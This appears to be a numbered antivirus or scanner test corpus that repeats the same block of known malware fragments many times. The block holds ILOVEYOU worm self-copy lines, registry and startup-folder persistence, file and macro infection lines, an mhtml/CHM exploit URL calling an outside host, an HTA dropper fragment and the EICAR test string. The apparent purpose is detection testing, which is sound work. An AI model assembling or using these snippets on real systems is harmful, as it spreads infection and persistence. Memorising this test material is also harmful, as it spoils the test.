 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

548

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

549

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

550

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

551

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

552

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

553

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

554

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

555

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

556

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

557

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

558

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

559

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

560

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

561

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

562

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

563

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

564

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

565

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

566

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

567

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

568

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

569

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

570

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

571

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

572

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

573

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

574

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

575

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
